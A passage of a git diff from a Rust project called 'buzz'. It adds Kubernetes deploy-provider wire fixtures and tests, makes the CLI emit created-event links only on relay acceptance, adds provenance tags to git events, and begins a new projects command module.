Kubernetes."} diff --git a/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh.request.json b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh.request.json new file mode 100644 index 0000000000..71ce9f067e --- /dev/null +++ b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh.request.json @@ -0,0 +1,12 @@ +{ + "op": "deploy", + "request_id": "req-2", + "agent": { + "name": "mesh-agent", + "relay_url": "wss://relay.example", + "private_key_nsec": "nsec1vl029mgpspedva04g90vltkh6fvh240zqtv9k0t9af8935ke9laqsnlfe5", + "auth_tag": "tag-1", + "provider": "relay-mesh" + }, + "provider_config": {"namespace": "buzz-agents-test", "image": "ghcr.io/block/buzz-sprig@sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"} +} diff --git a/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh.response.json b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh.response.json new file mode 100644 index 0000000000..0f0c995fd8 --- /dev/null +++ b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-relay-mesh.response.json @@ -0,0 +1 @@ +{"ok":false,"error":"deploy refused: this agent is configured for shared compute (relay-mesh), which runs on the relay rather than in a pod. Switch the agent to a local runtime before deploying it to Kubernetes."} diff --git a/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-tag-image.request.json b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-tag-image.request.json new file mode 100644 index 0000000000..232d9dcf43 --- /dev/null +++ b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-tag-image.request.json @@ -0,0 +1,10 @@ +{ + "op": "deploy", + "request_id": "req-4", + "agent": { + "relay_url": "wss://relay.example", + "private_key_nsec": "nsec1vl029mgpspedva04g90vltkh6fvh240zqtv9k0t9af8935ke9laqsnlfe5", + "auth_tag": "tag-1" + }, + "provider_config": {"namespace": "buzz-agents-test", "image": "ghcr.io/block/buzz-sprig:latest"} +} diff --git a/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-tag-image.response.json b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-tag-image.response.json new file mode 100644 index 0000000000..e67fa6a47f --- /dev/null +++ b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/deploy-tag-image.response.json @@ -0,0 +1 @@ +{"ok":false,"error":"provider_config.image \"ghcr.io/block/buzz-sprig:latest\" is not digest-pinned: a tag is a mutable pointer, and this object runs with the agent's private key. Use name@sha256:<64 hex chars>"} diff --git a/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/info.request.json b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/info.request.json new file mode 100644 index 0000000000..db99c86c00 --- /dev/null +++ b/crates/buzz-backend-kubernetes/tests/fixtures/provider-wire/info.request.json @@ -0,0 +1 @@ +{"op":"info","request_id":"req-1"} diff --git a/crates/buzz-backend-kubernetes/tests/wire_fixtures.rs b/crates/buzz-backend-kubernetes/tests/wire_fixtures.rs new file mode 100644 index 0000000000..b3049a98ef --- /dev/null +++ b/crates/buzz-backend-kubernetes/tests/wire_fixtures.rs @@ -0,0 +1,222 @@ +//! Golden wire fixtures (spec §Provider Protocol). +//! +//! These drive the **built binary** over a real pipe rather than calling an +//! in-process function: the contract the desktop depends on is +//! `stdin → one JSON object on stdout → exit code`, and an in-process test +//! would assert the shape of a value while skipping the three things that +//! actually break — the process writing nothing, writing two objects, or +//! signalling the outcome through the exit code. + +use std::io::Write; +use std::path::{Path, PathBuf}; +use std::process::{Command, Stdio}; + +fn fixtures() -> PathBuf { + Path::new(env!("CARGO_MANIFEST_DIR")).join("tests/fixtures/provider-wire") +} + +/// Feed one request to the binary; return `(stdout, exit code)`. +fn run(request: &str) -> (String, i32) { + let mut child = Command::new(env!("CARGO_BIN_EXE_buzz-backend-kubernetes")) + // A kubeconfig that does not exist, so a fixture that accidentally + // reaches the cluster fails loudly here instead of depending on + // whatever cluster the developer is pointed at. + .env("KUBECONFIG", "/nonexistent/kubeconfig-for-fixture-tests") + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .spawn() + .expect("could not run the provider binary"); + child + .stdin + .take() + .expect("no stdin") + .write_all(request.as_bytes()) + .expect("could not write the request"); + let out = child.wait_with_output().expect("provider did not exit"); + ( + String::from_utf8(out.stdout).expect("stdout was not UTF-8"), + out.status.code().unwrap_or(-1), + ) +} + +fn read(name: &str) -> String { + std::fs::read_to_string(fixtures().join(name)) + .unwrap_or_else(|e| panic!("could not read fixture {name}: {e}")) +} + +/// Every response fixture, byte-compared after key-sorted re-serialization so +/// a field rename fails here rather than in a desktop reading `undefined`. +#[test] +fn responses_match_their_fixtures() { + let cases = [ + "deploy-relay-mesh", + "deploy-relay-mesh-padded", + "deploy-tag-image", + "deploy-no-owner", + ]; + // The list must cover every response fixture on disk. A literal array is + // never empty, so `!is_empty()` would assert nothing; what can actually go + // wrong is a fixture added to the directory and never added here, which + // reads as a passing suite that exercises one case fewer than it appears to. + let mut on_disk: Vec = std::fs::read_dir(fixtures()) + .expect("could not read the fixture directory") + .filter_map(|entry| entry.ok()?.file_name().into_string().ok()) + .filter_map(|name| Some(name.strip_suffix(".response.json")?.to_string())) + .collect(); + on_disk.sort(); + let mut listed: Vec = cases.iter().map(|c| c.to_string()).collect(); + listed.sort(); + assert_eq!(on_disk, listed, "response fixtures and cases disagree"); + + for case in cases { + let (stdout, code) = run(&read(&format!("{case}.request.json"))); + assert_eq!(code, 0, "{case}: a produced response must exit 0"); + + // Exactly one object, terminated by exactly one newline. Two responses + // would leave the desktop's reader holding a second one forever. + assert_eq!( + stdout.matches('\n').count(), + 1, + "{case}: expected exactly one line, got {stdout:?}" + ); + + let actual: serde_json::Value = + serde_json::from_str(&stdout).unwrap_or_else(|e| panic!("{case}: {e}: {stdout:?}")); + let expected: serde_json::Value = + serde_json::from_str(&read(&format!("{case}.response.json"))).unwrap(); + assert_eq!( + actual, expected, + "{case}: response drifted from its fixture" + ); + } +} + +/// `info` is checked on the fields the desktop reads rather than byte-for-byte: +/// the namespace default is randomly generated per call (§K8s Namespace), so a +/// golden copy of it would be a test that fails every run. +#[test] +fn info_response_carries_the_contract_fields() { + let (stdout, code) = run(&read("info.request.json")); + assert_eq!(code, 0); + let info: serde_json::Value = serde_json::from_str(&stdout).unwrap(); + assert_eq!(info["ok"], true); + assert_eq!(info["protocol_version"], 1); + assert_eq!(info["name"], "kubernetes"); + let schema = &info["config_schema"]; + assert_eq!( + schema["required"], + serde_json::json!(["namespace", "image"]) + ); + let default = schema["properties"]["namespace"]["default"] + .as_str() + .expect("no generated namespace default"); + assert!( + default.starts_with("buzz-agents-"), + "unexpected namespace default: {default}" + ); + let image_default = schema["properties"]["image"]["default"] + .as_str() + .expect("no image default"); + assert!( + image_default.starts_with("ghcr.io/block/buzz-sprig:") + && image_default.contains("@sha256:"), + "unexpected image default: {image_default}" + ); +} + +/// The desktop's richest payload must parse. No response fixture: this one +/// reaches the cluster, so its outcome depends on a kubeconfig. What it +/// guards is that every field the desktop sends is *accepted* — a payload the +/// provider rejects at parse time is a deploy that never starts. +#[test] +fn the_full_desktop_payload_is_accepted() { + let (stdout, code) = run(&read("deploy-full-launch.request.json")); + assert_eq!(code, 0); + let response: serde_json::Value = serde_json::from_str(&stdout).unwrap(); + let error = response["error"].as_str().unwrap_or_default(); + // It fails — there is no cluster — but it must fail at the *connection*, + // having accepted every field above it. + assert!( + error.contains("kubeconfig"), + "the full payload was rejected before reaching the cluster: {error}" + ); +} + +/// Sami's pre-registered respond-to matrix, driven through the built binary. +/// +/// `build_env` runs at `main.rs:124`, `client::connect` at `:132`, so under a +/// kubeconfig that cannot exist the error string *is* the ordering assertion: +/// "kubeconfig" means the gate passed and we reached the cluster, anything +/// else means we refused before writing a Secret. A test asserting only +/// `ok: false` would pass on the connection error and prove nothing. +/// +/// The cases are applied to the real full-launch request so each one differs +/// from a known-good deploy in exactly the field under test. +#[test] +fn the_respond_to_gate_matches_the_harness_acceptance_surface() { + let key_a = "a".repeat(64); + let padded_upper = format!(" {} ", "A".repeat(64)); + // (name, respond_to, allowlist, must reach the cluster) + let cases: Vec<(&str, &str, Option>, bool)> = vec![ + ("allowlist + []", "allowlist", Some(vec![]), false), + ("allowlist + absent", "allowlist", None, false), + ( + "allowlist + junk", + "allowlist", + Some(vec!["beefcafe".into()]), + false, + ), + ("unparseable mode", "npub1abc", None, false), + ("padded mode", " allowlist ", None, false), + ( + "allowlist + two valid", + "allowlist", + Some(vec![key_a.clone(), "b".repeat(64)]), + true, + ), + ( + "owner-only + junk list", + "owner-only", + Some(vec!["beefcafe".into()]), + true, + ), + ( + "allowlist + padded upper", + "allowlist", + Some(vec![padded_upper]), + true, + ), + ("nobody", "nobody", None, true), + ("anyone", "anyone", None, true), + ]; + + let base: serde_json::Value = + serde_json::from_str(&read("deploy-full-launch.request.json")).unwrap(); + + for (name, mode, allowlist, reaches_cluster) in cases { + let mut request = base.clone(); + let agent = &mut request["agent"]; + agent["respond_to"] = serde_json::json!(mode); + agent["respond_to_allowlist"] = match &allowlist { + Some(list) => serde_json::json!(list), + None => serde_json::Value::Null, + }; + + let (stdout, code) = run(&request.to_string()); + assert_eq!(code, 0, "{name}: provider did not exit cleanly"); + let response: serde_json::Value = serde_json::from_str(&stdout).unwrap(); + let error = response["error"].as_str().unwrap_or_default(); + let reached = error.contains("kubeconfig"); + + assert_eq!( + reached, reaches_cluster, + "{name}: expected reaches_cluster={reaches_cluster}, got error: {error}" + ); + if !reaches_cluster { + assert!( + error.contains("deploy refused"), + "{name}: refused, but not by the gate: {error}" + ); + } + } +} diff --git a/crates/buzz-cli/src/client.rs b/crates/buzz-cli/src/client.rs index d0dd2677a9..ee8868ad92 100644 --- a/crates/buzz-cli/src/client.rs +++ b/crates/buzz-cli/src/client.rs @@ -1387,19 +1387,25 @@ pub fn extract_p_tags(event: &serde_json::Value) -> Vec { .unwrap_or_default() } -/// Return a create-command response with an entity ID injected. -pub fn create_response_with_id(resp: &str, id_key: &str, id_val: &str) -> String { +/// Return a create-command response, injecting the entity ID **only** when the +/// relay accepted the event (`"accepted": true`). When the relay rejected the +/// event, emitting the locally-computed link would be misleading — callers +/// that copy or share the link would reference an event that was never stored. +pub fn create_response_with_id_if_accepted(resp: &str, id_key: &str, id_val: &str) -> String { let mut v: serde_json::Value = serde_json::from_str(resp).unwrap_or(serde_json::json!({})); - v[id_key] = serde_json::json!(id_val); - if v.get("accepted").is_none() { - v["accepted"] = serde_json::json!(true); + let accepted = v.get("accepted").and_then(|a| a.as_bool()).unwrap_or(false); + if accepted { + v[id_key] = serde_json::json!(id_val); } v.to_string() } /// Print a create-command response, injecting the generated entity ID. pub fn print_create_response(resp: &str, id_key: &str, id_val: &str) { - println!("{}", create_response_with_id(resp, id_key, id_val)); + println!( + "{}", + create_response_with_id_if_accepted(resp, id_key, id_val) + ); } /// Extract a JSON field from relay write response messages shaped as @@ -2297,7 +2303,8 @@ mod retry_policy_tests { #[cfg(test)] mod tests { use super::{ - advance_query_cursor, create_response_with_id, extract_relay_response_field, BuzzClient, + advance_query_cursor, create_response_with_id_if_accepted, extract_relay_response_field, + BuzzClient, }; use nostr::{EventBuilder, Keys, Kind, Tag}; @@ -2345,15 +2352,30 @@ mod tests { } #[test] - fn create_response_with_id_overrides_local_id_with_relay_id() { + fn create_response_with_id_if_accepted_injects_id_when_accepted() { let raw = r#"{"event_id":"abc","accepted":true,"message":"response:{\"workflow_id\":\"relay-id\"}"}"#; - let out = create_response_with_id(raw, "workflow_id", "relay-id"); + let out = create_response_with_id_if_accepted(raw, "workflow_id", "relay-id"); let v: serde_json::Value = serde_json::from_str(&out).unwrap(); + // ID injected and original fields preserved when accepted. assert_eq!(v["workflow_id"].as_str(), Some("relay-id")); assert_eq!(v["event_id"].as_str(), Some("abc")); assert_eq!(v["accepted"].as_bool(), Some(true)); } + #[test] + fn create_response_with_id_if_accepted_omits_id_when_rejected() { + let raw = r#"{"event_id":"abc","accepted":false,"message":"duplicate"}"#; + let out = create_response_with_id_if_accepted(raw, "workflow_id", "local-id"); + let v: serde_json::Value = serde_json::from_str(&out).unwrap(); + // ID must not be present when relay rejected the event; emitting a + // link to an event that was never stored would mislead callers. + assert!( + v.get("workflow_id").is_none(), + "link field must be absent on rejected create" + ); + assert_eq!(v["accepted"].as_bool(), Some(false)); + } + // --- (a) auth-suppression regression pair --- fn make_auth_tag() -> (Tag, String) { diff --git a/crates/buzz-cli/src/commands/issues.rs b/crates/buzz-cli/src/commands/issues.rs index f12f8843ae..54e5645cb3 100644 --- a/crates/buzz-cli/src/commands/issues.rs +++ b/crates/buzz-cli/src/commands/issues.rs @@ -1,4 +1,5 @@ use crate::client::BuzzClient; +use crate::commands::with_git_provenance; use crate::error::CliError; use crate::validate::{read_or_stdin, sdk_err, validate_hex64, validate_repo_id}; use buzz_sdk::{GitIssueMeta, GitRepoCoord, GitStatusMeta}; @@ -27,10 +28,16 @@ pub async fn cmd_create_issue( id: repo_id.to_string(), }; - let builder = buzz_sdk::build_git_issue(&repo, subject, &body, &meta).map_err(sdk_err)?; + let builder = with_git_provenance( + buzz_sdk::build_git_issue(&repo, subject, &body, &meta).map_err(sdk_err)?, + )?; let event = client.sign_event(builder)?; + let event_id = event.id.to_hex(); let resp = client.submit_event(event).await?; - println!("{resp}"); + // `link` renders as a rich preview card in Buzz Desktop when included in + // a chat message — agents announce issues with it (see base_prompt.md). + let link = crate::links::issue_link(&event_id, repo_owner, repo_id); + crate::client::print_create_response(&resp, "link", &link); Ok(()) } @@ -166,7 +173,8 @@ pub async fn cmd_issue_status( applied_as_commits: vec![], }; - let builder = buzz_sdk::build_git_status(status, &body, &meta).map_err(sdk_err)?; + let builder = + with_git_provenance(buzz_sdk::build_git_status(status, &body, &meta).map_err(sdk_err)?)?; let event = client.sign_event(builder)?; let resp = client.submit_event(event).await?; println!("{resp}"); diff --git a/crates/buzz-cli/src/commands/mod.rs b/crates/buzz-cli/src/commands/mod.rs index 8691590636..ad2c36e200 100644 --- a/crates/buzz-cli/src/commands/mod.rs +++ b/crates/buzz-cli/src/commands/mod.rs @@ -12,9 +12,130 @@ pub mod notes; pub mod pack; pub mod patches; pub mod pr; +pub mod projects; pub mod reactions; pub mod repos; pub mod social; pub mod upload; pub mod users; pub mod workflows; + +use crate::{client::normalize_write_response, error::CliError}; +use nostr::{EventBuilder, Tag}; + +const GIT_ORIGIN_CHANNEL_ENV: &str = "BUZZ_GIT_ORIGIN_CHANNEL_ID"; +const GIT_ORIGIN_AGENT_ENV: &str = "BUZZ_GIT_ORIGIN_AGENT_NAME"; + +/// Add trusted, session-scoped provenance supplied by the ACP harness. +/// +/// Public channels use the standard NIP-29 `h` tag. Private conversations +/// intentionally omit their channel coordinate and retain only the agent's +/// display name. +pub(crate) fn with_git_provenance(builder: EventBuilder) -> Result { + apply_git_provenance( + builder, + std::env::var(GIT_ORIGIN_CHANNEL_ENV).ok().as_deref(), + std::env::var(GIT_ORIGIN_AGENT_ENV).ok().as_deref(), + ) +} + +fn apply_git_provenance( + builder: EventBuilder, + channel_id: Option<&str>, + agent_name: Option<&str>, +) -> Result { + if let Some(channel_id) = channel_id { + let channel_id = channel_id.trim(); + uuid::Uuid::parse_str(channel_id) + .map_err(|_| CliError::Other("invalid git origin channel ID".into()))?; + let origin_tag = Tag::parse(["h", channel_id]) + .map_err(|error| CliError::Other(format!("invalid git origin tag: {error}")))?; + return Ok(builder.tag(origin_tag)); + } + + if let Some(agent_name) = agent_name { + let agent_name = agent_name.trim(); + if agent_name.is_empty() + || agent_name.len() > 256 + || agent_name.chars().any(char::is_control) + { + return Err(CliError::Other( + "invalid private-conversation agent name".into(), + )); + } + let origin_tag = Tag::parse(["buzz-origin-agent", agent_name]) + .map_err(|error| CliError::Other(format!("invalid git origin tag: {error}")))?; + return Ok(builder.tag(origin_tag)); + } + + Ok(builder) +} + +/// Parse a relay write-response JSON blob, mapping a duplicate (dominated) +/// write to [`CliError::Conflict`] with the caller-supplied message. +/// +/// Used by every command that publishes an NIP-33 addressable event and +/// needs to tell accepted from duplicate/dominated. +pub fn parse_write_response(raw: &str, conflict_msg: &str) -> Result { + let response: serde_json::Value = serde_json::from_str(raw) + .map_err(|e| CliError::Other(format!("relay response is not JSON: {e} ({raw})")))?; + let accepted = response + .get("accepted") + .and_then(serde_json::Value::as_bool) + .unwrap_or(false); + let message = response + .get("message") + .and_then(serde_json::Value::as_str) + .unwrap_or(""); + if !accepted { + return Err(CliError::Other(format!("relay rejected event: {message}"))); + } + if message == "duplicate" || message.starts_with("duplicate:") { + return Err(CliError::Conflict(conflict_msg.to_string())); + } + Ok(normalize_write_response(raw)) +} + +#[cfg(test)] +mod tests { + use super::*; + use nostr::{Keys, Kind}; + + fn event_with_origin(channel_id: Option<&str>, agent_name: Option<&str>) -> nostr::Event { + apply_git_provenance( + EventBuilder::new(Kind::Custom(1621), "issue"), + channel_id, + agent_name, + ) + .expect("apply provenance") + .sign_with_keys(&Keys::generate()) + .expect("sign event") + } + + #[test] + fn public_channel_origin_uses_h_tag_and_suppresses_agent_name() { + let channel_id = "9a1657ac-f7aa-5db0-b632-d8bbeb6dfb50"; + let event = event_with_origin(Some(channel_id), Some("Builder")); + assert!(event + .tags + .iter() + .any(|tag| tag.as_slice() == ["h", channel_id])); + assert!(!event + .tags + .iter() + .any(|tag| tag.as_slice().first().map(String::as_str) == Some("buzz-origin-agent"))); + } + + #[test] + fn private_origin_exposes_only_agent_name() { + let event = event_with_origin(None, Some("Builder")); + assert!(event + .tags + .iter() + .any(|tag| tag.as_slice() == ["buzz-origin-agent", "Builder"])); + assert!(!event + .tags + .iter() + .any(|tag| tag.as_slice().first().map(String::as_str) == Some("h"))); + } +} diff --git a/crates/buzz-cli/src/commands/patches.rs b/crates/buzz-cli/src/commands/patches.rs index 13f1714d06..413934a3c1 100644 --- a/crates/buzz-cli/src/commands/patches.rs +++ b/crates/buzz-cli/src/commands/patches.rs @@ -1,4 +1,5 @@ use crate::client::BuzzClient; +use crate::commands::with_git_provenance; use crate::error::CliError; use crate::validate::{ read_file_or_stdin, read_or_stdin, sdk_err, validate_hex64, validate_repo_id, @@ -47,7 +48,8 @@ pub async fn cmd_send_patch( id: repo_id.to_string(), }; - let builder = buzz_sdk::build_git_patch(&repo, &content, &meta).map_err(sdk_err)?; + let builder = + with_git_provenance(buzz_sdk::build_git_patch(&repo, &content, &meta).map_err(sdk_err)?)?; let event = client.sign_event(builder)?; let resp = client.submit_event(event).await?; println!("{resp}"); @@ -180,7 +182,8 @@ pub async fn cmd_patch_status( applied_as_commits: applied_as_commit.to_vec(), }; - let builder = buzz_sdk::build_git_status(status, &body, &meta).map_err(sdk_err)?; + let builder = + with_git_provenance(buzz_sdk::build_git_status(status, &body, &meta).map_err(sdk_err)?)?; let event = client.sign_event(builder)?; let resp = client.submit_event(event).await?; println!("{resp}"); diff --git a/crates/buzz-cli/src/commands/pr.rs b/crates/buzz-cli/src/commands/pr.rs index 4272c2bfd8..74c580a6d6 100644 --- a/crates/buzz-cli/src/commands/pr.rs +++ b/crates/buzz-cli/src/commands/pr.rs @@ -1,4 +1,5 @@ use crate::client::BuzzClient; +use crate::commands::with_git_provenance; use crate::error::CliError; use crate::validate::{ read_file_or_stdin, read_or_stdin, sdk_err, validate_hex64, validate_repo_id, @@ -55,10 +56,16 @@ pub async fn cmd_open_pr( revision_of: revision_of.map(str::to_string), }; - let builder = buzz_sdk::build_git_pull_request(&repo, &content, &meta).map_err(sdk_err)?; + let builder = with_git_provenance( + buzz_sdk::build_git_pull_request(&repo, &content, &meta).map_err(sdk_err)?, + )?; let event = client.sign_event(builder)?; + let event_id = event.id.to_hex(); let resp = client.submit_event(event).await?; - println!("{resp}"); + // `link` renders as a rich preview card in Buzz Desktop when included in + // a chat message — agents announce PRs with it (see base_prompt.md). + let link = crate::links::pull_request_link(&event_id, repo_owner, repo_id); + crate::client::print_create_response(&resp, "link", &link); Ok(()) } @@ -97,7 +104,9 @@ pub async fn cmd_update_pr( merge_base: merge_base.map(str::to_string), }; - let builder = buzz_sdk::build_git_pr_update(&repo, &content, &meta).map_err(sdk_err)?; + let builder = with_git_provenance( + buzz_sdk::build_git_pr_update(&repo, &content, &meta).map_err(sdk_err)?, + )?; let event = client.sign_event(builder)?; let resp = client.submit_event(event).await?; println!("{resp}"); @@ -206,7 +215,8 @@ pub async fn cmd_pr_status( applied_as_commits: vec![], }; - let builder = buzz_sdk::build_git_status(status, &content, &meta).map_err(sdk_err)?; + let builder = + with_git_provenance(buzz_sdk::build_git_status(status, &content, &meta).map_err(sdk_err)?)?; let event = client.sign_event(builder)?; let resp = client.submit_event(event).await?; println!("{resp}"); diff --git a/crates/buzz-cli/src/commands/projects.rs b/crates/buzz-cli/src/commands/projects.rs new file mode 100644 index 0000000000..e6798dbfc4 --- /dev/null +++ b/crates/buzz-cli/src/commands/projects.rs @@ -0,0 +1,1198 @@ +//! `buzz projects` commands — NIP-MP kind:30621 write path. +//! +//! All mutations follow a read-modify-write pattern: +//! 1. Fetch the caller's own live head via `kinds:[30621] + authors:[self] + #d:[slug]`. +//! 2. Mutate the tag set (strip `auth`, apply change). +//! 3. Re-validate the full envelope through Layer A before submitting. +//! 4. Set `created_at = head.created_at + 1` (never wall-clock) to avoid +//! overwriting a concurrently advancing head. +//! +//! Limitations recorded in this phase: +//! - Relay hints are read-preserved but not authored (`--repo` carries +//! a coordinate only; existing hinted tags survive RMW unchanged). +//! - `delete` targets signer-self only (NIP-OA owner-delete path deferred). +//! - Deletion durability against later arrival (watermark follow-up) is +//! not in scope. + +use buzz_core::kind::KIND_PROJECT; +use buzz_sdk::{ + build_delete_addressable, build_project, build_project_with_tags, ProjectMemberCoord, + PROJECT_D_MAX_LEN, +}; +use nostr::{Event, EventBuilder, Tag, Timestamp}; + +use crate::client::BuzzClient; +use crate::commands::parse_write_response; +use crate::error::CliError; + +// ── Buzz repo-ID grammar (bare --repo shorthand) ───────────────────────────── + +/// Pattern for a Buzz-hosted repo identifier (bare `--repo` shorthand). +/// `[a-zA-Z0-9._-]{1,64}` — no colons, so guaranteed collision-free with +/// `30617::` full coordinates. +fn is_bare_repo_id(s: &str) -> bool { + !s.is_empty() + && s.len() <= 64 + && s.chars() + .all(|c| c.is_ascii_alphanumeric() || c == '.' || c == '_' || c == '-') +} + +/// Expand a CLI `--repo` argument into a full `30617::` coordinate. +/// +/// Bare form (`[a-zA-Z0-9._-]{1,64}`): owner defaults to the caller's pubkey. +/// Full form (`30617::`): used verbatim. +fn expand_repo_coord(s: &str, caller_pubkey: &str) -> Result { + if is_bare_repo_id(s) { + // Bare form: expand to full coordinate with caller as owner. + let full = format!("30617:{caller_pubkey}:{s}"); + ProjectMemberCoord::parse_full(&full) + .map_err(|e| CliError::Usage(format!("invalid repo coordinate: {e}"))) + } else { + // Full form: must be parseable as a complete coordinate. + ProjectMemberCoord::parse_full(s) + .map_err(|e| CliError::Usage(format!("invalid repo coordinate: {e}"))) + } +} + +// ── Head-fetch helper ───────────────────────────────────────────────────────── + +fn parse_events(json: &str) -> Result, CliError> { + serde_json::from_str(json) + .map_err(|e| CliError::Other(format!("failed to parse relay response: {e}"))) +} + +/// Fetch the caller's own live kind:30621 head for `slug`. +async fn fetch_own_project(client: &BuzzClient, slug: &str) -> Result, CliError> { + fetch_project(client, slug, None).await +} + +/// Fetch a project head by slug and optional owner pubkey. +async fn fetch_project( + client: &BuzzClient, + slug: &str, + owner: Option<&str>, +) -> Result, CliError> { + let pubkey = match owner { + Some(pk) => { + crate::validate::validate_hex64(pk)?; + pk.to_string() + } + None => client.keys().public_key().to_hex(), + }; + let filter = serde_json::json!({ + "kinds": [KIND_PROJECT], + "authors": [pubkey], + "#d": [slug], + "limit": 1, + }); + let raw = client.query(&filter).await?; + let mut events = parse_events(&raw)?; + events.sort_by_key(|e| std::cmp::Reverse(e.created_at)); + Ok(events.into_iter().next()) +} + +// ── Tag helpers ─────────────────────────────────────────────────────────────── + +fn tag_name(tag: &Tag) -> Option<&str> { + tag.as_slice().first().map(String::as_str) +} + +fn tag_value(tag: &Tag) -> Option<&str> { + tag.as_slice().get(1).map(String::as_str) +} + +fn make_tag(parts: &[&str]) -> Result { + Tag::parse(parts.iter().copied()) + .map_err(|e| CliError::Other(format!("tag construction failed: {e}"))) +} + +// ── Submit helper ───────────────────────────────────────────────────────────── + +async fn submit_project(client: &BuzzClient, builder: EventBuilder) -> Result<(), CliError> { + let event = client.sign_event(builder)?; + let raw = client.submit_event(event).await?; + println!( + "{}", + parse_write_response(&raw, "project changed concurrently; retry")? + ); + Ok(()) +} + +// ── Build helpers ───────────────────────────────────────────────────────────── + +/// Advance the `created_at` counter off an observed head. +fn next_timestamp(head: &Event) -> Result { + head.created_at + .as_secs() + .checked_add(1) + .map(Timestamp::from) + .ok_or_else(|| CliError::Other("project timestamp cannot be advanced".into())) +} + +/// Strip `auth` from a tag list and pass the resulting envelope through +/// Layer A validation. Returns a validated `EventBuilder` at `next_ts`. +fn rebuild_project( + content: &str, + tags: Vec, + next_ts: Timestamp, +) -> Result { + // Strip auth tags. + let clean_tags: Vec = tags + .into_iter() + .filter(|t| tag_name(t) != Some("auth")) + .collect(); + + build_project_with_tags(content, clean_tags) + .map_err(|e| CliError::Other(format!("envelope validation failed: {e}"))) + .map(|b| b.custom_created_at(next_ts)) +} + +// ── Command implementations ─────────────────────────────────────────────────── + +/// `buzz projects create` +pub async fn cmd_create( + client: &BuzzClient, + slug: &str, + repos: &[String], + name: Option<&str>, + description: Option<&str>, + channel: Option<&str>, + visibility: Option<&str>, +) -> Result<(), CliError> { + // ── Local validation (all checks before any .await) ─────────────────── + validate_project_slug(slug)?; + + let caller_pubkey = client.keys().public_key().to_hex(); + + // Expand and validate repo coordinates. + let members: Vec = repos + .iter() + .map(|r| expand_repo_coord(r, &caller_pubkey)) + .collect::, _>>()?; + + // Dedupe: preserve first occurrence, reject duplicates with Usage. + let mut seen = std::collections::HashSet::new(); + for m in &members { + if !seen.insert(m.coord.clone()) { + return Err(CliError::Usage(format!( + "duplicate --repo coordinate in this invocation: {:?}", + m.coord + ))); + } + } + + // Validate optional metadata (early, before any network call). + if let Some(ch) = channel { + crate::validate::validate_uuid(ch)?; + } + if let Some(vis) = visibility { + validate_visibility(vis)?; + } + if let Some(n) = name { + if n.len() > 256 { + return Err(CliError::Usage(format!( + "project name must not exceed 256 bytes (got {})", + n.len() + ))); + } + } + + // ── Network: collision preflight ────────────────────────────────────── + if fetch_own_project(client, slug).await?.is_some() { + return Err(CliError::Conflict(format!( + "project {slug:?} already exists; use 'buzz projects update' to modify it" + ))); + } + + // ── Build via Layer B (enforces all writer policy) ──────────────────── + let builder = build_project(slug, name, description, &members, channel, visibility) + .map_err(|e| CliError::Usage(e.to_string()))?; + submit_project(client, builder).await +} + +/// `buzz projects get` +pub async fn cmd_get(client: &BuzzClient, slug: &str, owner: Option<&str>) -> Result<(), CliError> { + validate_project_slug(slug)?; + let resp = match fetch_project(client, slug, owner).await? { + Some(event) => serde_json::json!({ + "event_id": event.id.to_hex(), + "pubkey": event.pubkey.to_hex(), + "created_at": event.created_at.as_secs(), + "kind": event.kind.as_u16(), + "tags": event.tags.iter().map(|t| t.as_slice().to_vec()).collect::>(), + "content": event.content, + }), + None => { + let owner_desc = owner.unwrap_or("current identity"); + return Err(CliError::NotFound(format!( + "project {slug:?} not found for {owner_desc}" + ))); + } + }; + println!("{resp}"); + Ok(()) +} + +/// `buzz projects list` +pub async fn cmd_list( + client: &BuzzClient, + owner: Option<&str>, + limit: Option, +) -> Result<(), CliError> { + let pubkey = match owner { + Some(pk) => { + crate::validate::validate_hex64(pk)?; + pk.to_string() + } + None => client.keys().public_key().to_hex(), + }; + let mut filter = serde_json::json!({ + "kinds": [KIND_PROJECT], + "authors": [pubkey], + }); + if let Some(n) = limit { + filter["limit"] = serde_json::json!(n); + } + let resp = client.query(&filter).await?; + println!("{resp}"); + Ok(()) +} + +/// `buzz projects add-repo` +pub async fn cmd_add_repo( + client: &BuzzClient, + slug: &str, + repos: &[String], +) -> Result<(), CliError> { + validate_project_slug(slug)?; + let caller_pubkey = client.keys().public_key().to_hex(); + + // ── Local validation before any .await ──────────────────────────────── + let new_members: Vec = repos + .iter() + .map(|r| expand_repo_coord(r, &caller_pubkey)) + .collect::, _>>()?; + + // Dedupe within this invocation: first occurrence wins, duplicate → Usage. + let mut seen = std::collections::HashSet::new(); + for m in &new_members { + if !seen.insert(m.coord.clone()) { + return Err(CliError::Usage(format!( + "duplicate --repo coordinate in this invocation: {:?}", + m.coord + ))); + } + } + + // ── Network: fetch head ─────────────────────────────────────────────── + let head = fetch_own_project(client, slug) + .await? + .ok_or_else(|| CliError::NotFound(format!("project {slug:?} not found")))?; + let next_ts = next_timestamp(&head)?; + + // Build the new tag set: keep existing tags (including hinted members), + // append new members only if not already present (by coordinate). + let mut tags: Vec = head.tags.iter().cloned().collect(); + let existing_coords: std::collections::HashSet = head + .tags + .iter() + .filter(|t| tag_name(t) == Some("a")) + .filter_map(|t| tag_value(t).map(String::from)) + .collect(); + let mut added = 0usize; + for m in &new_members { + if !existing_coords.contains(m.coord.as_str()) { + let parts = m.to_tag_parts(); + let parts_ref: Vec<&str> = parts.iter().map(String::as_str).collect(); + tags.push( + Tag::parse(parts_ref.iter().copied()) + .map_err(|e| CliError::Other(format!("member tag construction failed: {e}")))?, + ); + added += 1; + } + } + + // All requested coordinates were already present — no change to 